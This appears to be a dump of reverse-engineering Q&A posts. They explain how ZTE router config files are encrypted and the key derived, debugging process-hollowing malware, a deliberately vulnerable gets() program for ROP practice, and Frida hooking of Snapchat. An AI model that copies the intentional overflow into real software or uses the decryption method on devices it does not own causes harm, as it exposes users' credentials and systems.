  <row Id="13808" PostTypeId="2" ParentId="11626" CreationDate="2016-10-24T22:36:24.937" Score="11" Body="&lt;h2&gt;Updated for August 2020:&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The below information is accurate to the best of my knowledge. It has been used to decrypt &lt;code&gt;config.bin&lt;/code&gt; on &lt;strong&gt;2&lt;/strong&gt; different routers at the time of writing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The obfuscated section of your config file is a series of ZLIB-compressed sections that have been encrypted with &lt;strong&gt;AES in ECB mode with a 16-byte key&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There is an application named &lt;code&gt;cspd&lt;/code&gt; on the router that does lots of different things. One of those things is to encrypt/decrypt the configuration file.&lt;/p&gt;&#xA;&lt;p&gt;Some of the ZTE routers have the AES key hardcoded into the &lt;code&gt;cspd&lt;/code&gt; binary; some of them don't. Unfortunately, yours is one that does not.&lt;/p&gt;&#xA;&lt;p&gt;There is a function within &lt;code&gt;cspd&lt;/code&gt; named &lt;code&gt;PdtDBSetAESEncryKey&lt;/code&gt; (code courtesy of Ghidra) that is used to set the key:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;undefined4 PdtDBSetAESEncryKey(char *param_1,int param_2)&#xA;&#xA;{&#xA;  byte bVar1;&#xA;  char cVar2;&#xA;  undefined4 uVar3;&#xA;  int iVar4;&#xA;  size_t sVar5;&#xA;  undefined4 *puVar6;&#xA;  undefined4 *puVar7;&#xA;  byte bVar8;&#xA;  undefined4 local_48;&#xA;  undefined4 local_44;&#xA;  undefined4 local_40;&#xA;  undefined4 local_3c;&#xA;  undefined4 local_38;&#xA;  undefined local_18;&#xA;&#xA;  local_48 = 0;&#xA;  local_44 = 0;&#xA;  local_40 = 0;&#xA;  local_3c = 0;&#xA;  memset(&amp;amp;local_38,0,0x21);&#xA;  uVar3 = 0xffffffff;&#xA;  if ((param_1 != (char *)0x0) &amp;amp;&amp;amp; (param_2 != 0)) {&#xA;    iVar4 = _getTagparamMD5(&amp;amp;local_48);&#xA;    if (iVar4 != 0) {&#xA;      ProcUserLog(&amp;quot;dbc_mgr_pdt_encry.c&amp;quot;,0x9c,&amp;quot;PdtDBSetAESEncryKey&amp;quot;,5,0,0,&#xA;                  &amp;quot;_getTagparamMD5 failed! Use default&amp;quot;);&#xA;      sVar5 = strlen(&amp;quot;Hello! world,&amp;quot;);&#xA;      CspGetMD5(&amp;quot;Hello! world,&amp;quot;,sVar5,&amp;amp;local_48);&#xA;    }&#xA;    puVar7 = &amp;amp;local_48;&#xA;    puVar6 = &amp;amp;local_38;&#xA;    do {&#xA;      bVar1 = *(byte *)puVar7 &amp;gt;&amp;gt; 4;&#xA;      if (bVar1 &amp;lt; 10) {&#xA;        cVar2 = '0';&#xA;      }&#xA;      else {&#xA;        cVar2 = 'W';&#xA;      }&#xA;      bVar8 = *(byte *)puVar7 &amp;amp; 0xf;&#xA;      *(byte *)puVar6 = bVar1 + cVar2;&#xA;      if (bVar8 &amp;lt; 10) {&#xA;        bVar8 = bVar8 + 0x30;&#xA;      }&#xA;      else {&#xA;        bVar8 = bVar8 + 0x57;&#xA;      }&#xA;      puVar7 = (undefined4 *)((int)puVar7 + 1);&#xA;      *(byte *)((int)puVar6 + 1) = bVar8;&#xA;      puVar6 = (undefined4 *)((int)puVar6 + 2);&#xA;    } while (puVar7 != &amp;amp;local_38);&#xA;    local_18 = 0;&#xA;    strncpy(param_1,(char *)&amp;amp;local_38,param_2 - 1);&#xA;    uVar3 = 0;&#xA;  }&#xA;  return uVar3;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reads a file named &lt;code&gt;tagparam_m&lt;/code&gt; and generates the MD5 of it's content; &lt;code&gt;_getTagparamMD5()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If this function fails, the MD5 of &lt;code&gt;'Hello! world,'&lt;/code&gt; is used instead; &lt;code&gt;iVar4 != 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Converts the MD5 to (lowercased) hex digest; (the do-loop)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This key is fed to the set key function, &lt;a href=&quot;https://man.openbsd.org/AES_encrypt.3&quot; rel=&quot;nofollow noreferrer&quot;&gt;AES_set_decrypt_key&lt;/a&gt;, from &lt;code&gt;libcrypto&lt;/code&gt;, with the 2nd parameter ('bits') set to 128 (i.e. 16 byte KEY_LENGTH).&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;tagparam_m&lt;/code&gt; file is found in &lt;code&gt;/var&lt;/code&gt; and is created when the router starts.&lt;/p&gt;&#xA;&lt;p&gt;I have seen two examples of this file. Each data entry is preceded by a mini header preamble comprising:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 byte identifier&lt;/li&gt;&#xA;&lt;li&gt;2 byte length and&lt;/li&gt;&#xA;&lt;li&gt;2 byte padding.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0100 0006 0000                     // 0100: MAC 0, 0006: 6 bytes, 0000: padding&#xA;aabb ccdd eef2                     // MAC Address 0 (raw hex)&#xA;0101 0006 0000                     // 0101: MAC 1, 0006: 6 bytes, 0000: padding&#xA;aabb ccdd eef3                     // MAC address 1 (raw hex)&#xA;0102 0006 0000                     // .. etc&#xA;aabb ccdd eef4&#xA;0103 0006 0000&#xA;aabb ccdd eef5&#xA;0104 0006 0000&#xA;aabb ccdd eef6&#xA;0105 0006 0000&#xA;aabb ccdd eef7&#xA;0106 0006 0000&#xA;aabb ccdd eef8&#xA;0107 0006 0000&#xA;aabb ccdd eef9&#xA;0108 0006 0000 &#xA;aabb ccdd eefa&#xA;0109 0006 0000&#xA;aabb ccdd eefb&#xA;0200 000f 0000                     // 0200: Serial No, 000f: 15 bytes, 0000: padding&#xA;4142434445464748494a4b4c4d4e4f     // Serial Number (ASCII)&#xA;0400 000e 0000                     // 0400: BSSID, 000e: 14 bytes, 0000: padding&#xA;4142434445464748494a4b4c4d4e       // BSSID (ASCII)&#xA;0510 0010 0000                     // 0501: BSSID Password, 0010: 16 bytes, 0000: padding&#xA;4142434445464748494a4b4c4d4e4f50   // BSSID Password (ASCII)&#xA;0601 0005 0000                     // 0601: Admin Username, 0005: 5 bytes, 0000: padding&#xA;4142434445                         // Username (ASCII)&#xA;0701 0008 0000                     // 0701: Admin Password, 0008: 8 bytes, 0000: padding&#xA;4142434445464748                   // Password (ASCII)&#xA;0300 0006 0000                     // 0300: Manufacturer MAC, 0006: 6 bytes, 0000: padding&#xA;414243444546                       // Manufacturer MAC (ASCII)&#xA;0806 0006 0000                     // 0806: Hardware revision&#xA;5631 2e30 2e30                     // Hardware revision (ASCII)&#xA;0807 0001 0000                     // 0807: Trailer?&#xA;30                                 // &amp;quot;0&amp;quot; ASCII&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0100 0006 0000                     // 0100: MAC 0, 6 bytes&#xA;5078 b3aa bbc0                     // 50:78:b3:aa:bb:c0&#xA;0101 0006 0000                     // 0101: MAC 1, 6 bytes&#xA;5078 b3aa bbc1                     // 50:78:b3:aa:bb:c1&#xA;0102 0006 0000                     // 0102: MAC 2, 6 bytes&#xA;5078 b3aa bbc2                     // 50:78:b3:aa:bb:c2&#xA;0103 0006 0000                     // 0103: MAC 3, 6 bytes&#xA;5078 b3aa bbc3                     // 50:78:b3:aa:bb:c3&#xA;0200 000f 0000                     // 0200: Serial Number, 15 bytes&#xA;323638454142434445464748494a4b     // 268EABCDEFGHIJK&#xA;0400 000b 0000                     // 0400: BSSID, 11 bytes&#xA;4142434445464748494a4b             // ABCDEFGHIJK&#xA;0510 0010 0000                     // 0510: BSSID Password, 16 bytes&#xA;4142434445464748494a4b4c4d4e4f50   // ABCDEFGHIJKLMNOP&#xA;0701 0008 0000                     // 0701: Admin Password, 8 bytes&#xA;4142434445464748                   // ABCDEFGH&#xA;0300 0006 0000                     // 0300: Manufacturer MAC, 6 bytes&#xA;353037384233                       // 5078B3&#xA;0806 0006 0000                     // 0806: Hardware Revision, 6 bytes&#xA;56312e302e31                       // V1.0.1&#xA;0807 0001 0000                     // 0807: Trailer?&#xA;30                                 // &amp;quot;0&amp;quot; ASCII&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I have used dummy values for MAC/BSSID/Password etc!&lt;/p&gt;&#xA;&lt;p&gt;If you can locate this file and perform the MD5 of it (e.g. &lt;code&gt;md5sum /var/tagparam_m&lt;/code&gt;), the first 16 chars of the hex digest are your key.&lt;/p&gt;&#xA;&lt;p&gt;For a good key, the first 8 bytes of the decrypted block should look like &lt;code&gt;0x0102030400000000&lt;/code&gt; which is the start of the header for the ZLIB section.&lt;/p&gt;&#xA;&lt;p&gt;For a bit more info on this file format you can take a look at the &lt;a href=&quot;https://github.com/streetster/zte-config-utility&quot; rel=&quot;nofollow noreferrer&quot;&gt;zcu&lt;/a&gt; module I wrote.&lt;/p&gt;&#xA;&lt;h2&gt;Notes:&lt;/h2&gt;&#xA;&lt;p&gt;The second &lt;code&gt;tagparam_m&lt;/code&gt; file was byteswapped but the key was the MD5 after the file was byteswapped back and a trailing &lt;code&gt;00&lt;/code&gt; was truncated.&lt;/p&gt;&#xA;&lt;p&gt;If anyone wants to send me a copy of their &lt;code&gt;tagparam_m&lt;/code&gt; file I will update this post!&lt;/p&gt;&#xA;&lt;h2&gt;Credits:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dimitris for figuring out the MD5 of his &lt;code&gt;tagparam_m&lt;/code&gt; file was the key!&lt;/li&gt;&#xA;&lt;li&gt;@Vido for the second example &lt;code&gt;tagparam_m&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17778" LastEditorUserId="17778" LastEditDate="2020-09-01T11:51:30.033" LastActivityDate="2020-09-01T11:51:30.033" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="13809" PostTypeId="1" CreationDate="2016-10-25T03:58:32.927" Score="1" ViewCount="3998" Body="&lt;p&gt;When I analyzed this malware sample it was invoking api's related to creating additional processes. With the process explorer I saw the debugged process is creating a new process. Please suggest any method to analyze this child process using immunity debugger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9yZmN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9yZmN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17870" LastEditorUserId="2147" LastEditDate="2016-10-25T04:38:46.143" LastActivityDate="2016-10-25T04:57:45.150" Title="How to analyze a child process created by malware by process hollowing mechanism using immunity debugger?" Tags="|ollydbg|debugging|malware|immunity-debugger|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13810" PostTypeId="2" ParentId="13809" CreationDate="2016-10-25T04:17:35.810" Score="4" Body="&lt;h2&gt;using ollgdbgv2's debug child processes feature&lt;/h2&gt;&#xA;&lt;p&gt;Instead of using Immunity Debugger (which is a forked from &lt;a href=&quot;http://ollydbg.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg1.10&lt;/a&gt;), you might want to consider using &lt;a href=&quot;http://ollydbg.de/version2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg2.0&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;One of the new features in ollydbg 2 is the Debug Child Processes feature shown here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GDxO5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDxO5.png&quot; alt=&quot;debug child processes&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When this checkbox is on when you start debugging a process, a new instance of ollydbg will automatically start whenever the debugged process creates a new process. This cannot be nested though, as a process started/debugged that way is not started by ollydbg.&lt;/p&gt;&#xA;&lt;h2&gt;Catching the process creation&lt;/h2&gt;&#xA;&lt;p&gt;Additionally, you can search for all imported functions, go over them manually and add a breakpoint on each API used to create processes, there shouldn't be more than a few of those.&lt;/p&gt;&#xA;&lt;p&gt;Then, just let the process run until it hits one of those breakpoints and make the API call create the process in a suspended state (look up the specific API's documentation for the specifics).&lt;/p&gt;&#xA;&lt;p&gt;You won't be able to attach to the process (because it's suspended) until it's resumed by calling &lt;code&gt;ResumeThread&lt;/code&gt; on the process single thread. there's a common trick here that involves several steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the process as suspended (The process you're debugging did that for you after you changed the parameters to the process creation API call appropriately).&lt;/li&gt;&#xA;&lt;li&gt;Find the executable's entry point and take note of the two first bytes at that address.&lt;/li&gt;&#xA;&lt;li&gt;Replace those bytes with the 2 byte representation of &lt;code&gt;jmp $&lt;/code&gt; (byte code is &lt;code&gt;EB FE&lt;/code&gt;). This is an infinite loop as the instruction jumps to itself.&lt;/li&gt;&#xA;&lt;li&gt;Resume the process.&lt;/li&gt;&#xA;&lt;li&gt;Now that the process is &amp;quot;running&amp;quot; you can attach to it, suspend it, restore the original two bytes and run it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Keep in mind that a process might be creating additional threads in the child process, and those might get past the suspension. Use at your own risk :)&lt;/p&gt;&#xA;&lt;p&gt;There are ollydbg v1.1 plugins (which means immunity plugins) that will do that for you, but you'll have to find them because I can't recall the name. tuts4you.com is a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-10-25T04:57:45.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13811" PostTypeId="1" AcceptedAnswerId="13813" CreationDate="2016-10-25T08:12:23.857" Score="1" ViewCount="1136" Body="&lt;p&gt;I was doing some tests to train myself to ROP when &lt;code&gt;ASLR&lt;/code&gt; is &lt;code&gt;ON&lt;/code&gt; and &lt;code&gt;NX&lt;/code&gt; is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this small program for testing purpose&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char ** argv) {&#xA;    char buff[128];&#xA;&#xA;    gets(buff);&#xA;&#xA;    char *password = &quot;I am h4cknd0&quot;;&#xA;&#xA;    if (strcmp(buff, password)) {&#xA;        printf(&quot;You password is incorrect\n&quot;);&#xA;    } else {&#xA;        printf(&quot;Access GRANTED !\n&quot;);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I compiled it on a 64bits Ubuntu with this command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -o rop rop.c -m32 -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack -static&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I open the beast in &lt;code&gt;gdb&lt;/code&gt; and disassemble the main function, I get the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804887c &amp;lt;+0&amp;gt;:       lea    ecx,[esp+0x4]&#xA;0x08048880 &amp;lt;+4&amp;gt;:       and    esp,0xfffffff0&#xA;0x08048883 &amp;lt;+7&amp;gt;:       push   DWORD PTR [ecx-0x4]&#xA;0x08048886 &amp;lt;+10&amp;gt;:      push   ebp&#xA;0x08048887 &amp;lt;+11&amp;gt;:      mov    ebp,esp&#xA;0x08048889 &amp;lt;+13&amp;gt;:      push   ecx&#xA;0x0804888a &amp;lt;+14&amp;gt;:      sub    esp,0x94&#xA;0x08048890 &amp;lt;+20&amp;gt;:      sub    esp,0xc&#xA;0x08048893 &amp;lt;+23&amp;gt;:      lea    eax,[ebp-0x8c]&#xA;0x08048899 &amp;lt;+29&amp;gt;:      push   eax&#xA;0x0804889a &amp;lt;+30&amp;gt;:      call   0x804f100 &amp;lt;gets&amp;gt;&#xA;0x0804889f &amp;lt;+35&amp;gt;:      add    esp,0x10&#xA;0x080488a2 &amp;lt;+38&amp;gt;:      mov    DWORD PTR [ebp-0xc],0x80bb388&#xA;0x080488a9 &amp;lt;+45&amp;gt;:      sub    esp,0x8&#xA;0x080488ac &amp;lt;+48&amp;gt;:      push   DWORD PTR [ebp-0xc]&#xA;0x080488af &amp;lt;+51&amp;gt;:      lea    eax,[ebp-0x8c]&#xA;0x080488b5 &amp;lt;+57&amp;gt;:      push   eax&#xA;0x080488b6 &amp;lt;+58&amp;gt;:      call   0x8048280&#xA;0x080488bb &amp;lt;+63&amp;gt;:      add    esp,0x10&#xA;0x080488be &amp;lt;+66&amp;gt;:      test   eax,eax&#xA;0x080488c0 &amp;lt;+68&amp;gt;:      je     0x80488d4 &amp;lt;main+88&amp;gt;&#xA;0x080488c2 &amp;lt;+70&amp;gt;:      sub    esp,0xc&#xA;0x080488c5 &amp;lt;+73&amp;gt;:      push   0x80bb395&#xA;0x080488ca &amp;lt;+78&amp;gt;:      call   0x804f280 &amp;lt;puts&amp;gt;&#xA;0x080488cf &amp;lt;+83&amp;gt;:      add    esp,0x10&#xA;0x080488d2 &amp;lt;+86&amp;gt;:      jmp    0x80488e4 &amp;lt;main+104&amp;gt;&#xA;0x080488d4 &amp;lt;+88&amp;gt;:      sub    esp,0xc&#xA;0x080488d7 &amp;lt;+91&amp;gt;:      push   0x80bb3af&#xA;0x080488dc &amp;lt;+96&amp;gt;:      call   0x804f280 &amp;lt;puts&amp;gt;&#xA;0x080488e1 &amp;lt;+101&amp;gt;:     add    esp,0x10&#xA;0x080488e4 &amp;lt;+104&amp;gt;:     mov    eax,0x0&#xA;0x080488e9 &amp;lt;+109&amp;gt;:     mov    ecx,DWORD PTR [ebp-0x4]&#xA;0x080488ec &amp;lt;+112&amp;gt;:     leave  &#xA;0x080488ed &amp;lt;+113&amp;gt;:     lea    esp,[ecx-0x4]&#xA;0x080488f0 &amp;lt;+116&amp;gt;:     ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's the first time I have these function prologue and epilogue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Prologue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0804887c &amp;lt;+0&amp;gt;:       lea    ecx,[esp+0x4]&#xA;0x08048880 &amp;lt;+4&amp;gt;:       and    esp,0xfffffff0&#xA;0x08048883 &amp;lt;+7&amp;gt;:       push   DWORD PTR [ecx-0x4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Epilogue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080488e9 &amp;lt;+109&amp;gt;:     mov    ecx,DWORD PTR [ebp-0x4]&#xA;0x080488ec &amp;lt;+112&amp;gt;:     leave  &#xA;0x080488ed &amp;lt;+113&amp;gt;:     lea    esp,[ecx-0x4]&#xA;0x080488f0 &amp;lt;+116&amp;gt;:     ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of these, I need to know &lt;code&gt;ESP&lt;/code&gt; value when the &lt;code&gt;main&lt;/code&gt; function is called when exploiting the vulnerable binary with ROP, but since &lt;code&gt;ASLR&lt;/code&gt; is enabled, it's not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt; : I assure you this is a program I wrote myself for training purpose, it's not part of any challenge or CTF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time and knowledge :)&lt;/p&gt;&#xA;" OwnerUserId="13108" LastEditorUserId="2147" LastEditDate="2016-10-26T20:48:19.300" LastActivityDate="2016-10-26T20:48:19.300" Title="What is this protection that seems to prevent ROP when ASLR in ON?" Tags="|disassembly|rop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13813" PostTypeId="2" ParentId="13811" CreationDate="2016-10-25T08:38:52.663" Score="2" Body="&lt;p&gt;This is not a protection but juste a prologue / epilogue that your compiler will produce.&#xA;You can check the produced assembly with different versions of gcc right there: &lt;a href=&quot;https://gcc.godbolt.org/&quot; rel=&quot;nofollow&quot;&gt;https://gcc.godbolt.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in your context, you can control ECX. But what if you just control the last byte only ? Then you might fall on some of your input in the stack.&lt;/p&gt;&#xA;" OwnerUserId="17874" LastActivityDate="2016-10-25T08:38:52.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13814" PostTypeId="1" CreationDate="2016-10-25T11:37:32.753" Score="2" ViewCount="9241" Body="&lt;p&gt;I've attempting to learn how to use Frida to instrument android app, just for person interest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've managed to get my environment set up with a physical android tablet and I can successfully run the &lt;a href=&quot;http://www.frida.re/docs/examples/android/&quot; rel=&quot;nofollow&quot;&gt;example&lt;/a&gt; on Frida's website. In addition to changing variables in the method I want to change the arugment passed to the method. I know how to do this with Xposed but I'm not sure with Frida. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Generic Question:&lt;/strong&gt; How can the arugments passed to method be maniputed with Frida and what is good souce of documentation and examples for Frida?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More specific question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted something that was more of a challenge so I moved onto Snapchat. My aim is to emulate the speed spoofing feature of the &lt;a href=&quot;https://github.com/marzika/Snapprefs&quot; rel=&quot;nofollow&quot;&gt;SnapPrefs&lt;/a&gt; Xposed module as this seemed fairly simple to do and its effect can be easily seen in the app. I looked through the SnapPrefs souce and found that I need to hook the &quot;adL&quot; class and change the argument passed to the &quot;a&quot; method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the method in the APK is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public final void a(float paramFloat)&#xA;  {&#xA;      ....&#xA;  }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this JavaScript code in order to print &quot;Speed showing&quot; to the screen whenever the method is active. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Java.perform(function () {&#xA;// Function to hook is defined here&#xA;var SpeedometerView = Java.use('adL');&#xA;&#xA;// Whenever button is clicked&#xA;SpeedometerView.a.overload('float').implementation = function (v) {&#xA;    // Show a message to know that the function got called&#xA;    send('Speed showing');&#xA;&#xA;    // Call the original onClick handler&#xA;    this.a.overload('float');&#xA;};&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So from this: What would be the easiest way to manipulate the paramFloat argument?&lt;/p&gt;&#xA;" OwnerUserId="15117" LastEditorUserId="60" LastEditDate="2016-10-25T14:49:52.180" LastActivityDate="2018-09-30T16:38:34.967" Title="Frida manipulating arguments - Android" Tags="|android|java|javascript|apk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13815" PostTypeId="2" ParentId="13811" CreationDate="2016-10-25T16:35:15.753" Score="1" Body="&lt;p&gt;While not a part of the official 386 SysV ABI, there is a de-facto requirement that the stack pointer is aligned to 16 bytes at all times when calling system functions (enforced by the de-facto standard compiler (GCC) since several years ago:&lt;a href=&quot;https://gcc.gnu.org/bugzilla/show_bug.cgi?id=38496&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;https://gcc.gnu.org/bugzilla/show_bug.cgi?id=27537&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;). That's why the prolog of the &lt;code&gt;main&lt;/code&gt; function contains the &lt;code&gt;and esp,0xfffffff0&lt;/code&gt; instruction. Only the &lt;code&gt;main()&lt;/code&gt; function needs to do that, other functions usually don't perform stack realignment since they assume they're already called with 16-byte alignment (unless you use &lt;code&gt;-mrealignstack&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of using another compiler you could try putting the vulnerable code in a separate function, not &lt;code&gt;main&lt;/code&gt; directly.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-10-25T16:35:15.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13816" PostTypeId="1" AcceptedAnswerId="13820" CreationDate="2016-10-25T18:19:30.970" Score="0" ViewCount="143" Body="&lt;p&gt;I wish to use the codecs that come with realplayer but without needing realplayer. The codecs I want to use are all in &lt;code&gt;.so&lt;/code&gt; format, but I don't know how to separate the codecs from the rest of realplayer and use the &lt;code&gt;.so&lt;/code&gt; files directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this so that I can just plug the codecs into a new mediaplayer, without having to decompile and recompile the binaries?&lt;/p&gt;&#xA;" OwnerUserId="17881" LastEditorUserId="2147" LastEditDate="2017-04-26T15:29:18.510" LastActivityDate="2017-04-26T15:29:18.510" Title="how Can I use a linux so file from a program other than the program it was developed for?" Tags="|binary-analysis|elf|binary|shared-object|got|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13817" PostTypeId="1" CreationDate="2016-10-25T23:55:46.380" Score="3" ViewCount="261" Body="&lt;p&gt;I have picked up a rooted Acer phone and dd-ed the &lt;code&gt;LK&lt;/code&gt; partition to analyze it in IDA. The goal is to pinpoint the routine processing fastboot commands. Stripping first 512 bytes produces apparently meaningful disassembly. However, the cross reference of the string &lt;code&gt;fastboot: processing commands\n&lt;/code&gt; doesn't look very meaningful. This has led me to believe that the image might need to be re-based to some address to get the references correct. Any idea how I can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n7hby.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7hby.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cdzcl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cdzcl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" OwnerDisplayName="Holmes.Sherlock" LastEditorUserId="13634" LastEditDate="2016-10-26T08:58:14.303" LastActivityDate="2016-10-26T09:32:57.443" Title="How to find image base of an arbitrary boot-loader image?" Tags="|android|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13818" PostTypeId="2" ParentId="13817" CreationDate="2016-10-26T09:26:35.550" Score="2" Body="&lt;p&gt;When I needed to do something similar I tried to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I found all known &lt;code&gt;LDR&lt;/code&gt; macros (as far as I remember they are not relative)&lt;/li&gt;&#xA;&lt;li&gt;I found addresses of some strings that had to have a chance to be referenced  directly (more than 10, less than 100)&lt;/li&gt;&#xA;&lt;li&gt;After that I brute-forced all 32-bit address range with step 4 in order to find such a shift that complies with maximum number of strings referenced by &lt;code&gt;LDR&lt;/code&gt; correctly. Of course this can be done with IDAPython.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;From this shift the address may be concluded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you can cross-reference function prologues with jumps and calls with absolute addressing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, if I'm not mistaken you will probably find an interrupt table at the start of the image - absolute jumps like in the following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000   LDR   PC, =Reset&#xA;00000004   LDR   PC, =Undef&#xA;00000008   LDR   PC, =SVC&#xA;0000000C   LDR   PC, =PrefAbort&#xA;00000010   LDR   PC, =DataAbort&#xA;00000014   NOP&#xA;00000018   LDR   PC, =IRQ&#xA;0000001C   LDR   PC, =FIQ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The values of the loaded addresses may hint an area to search for.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-10-26T09:32:57.443" LastActivityDate="2016-10-26T09:32:57.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
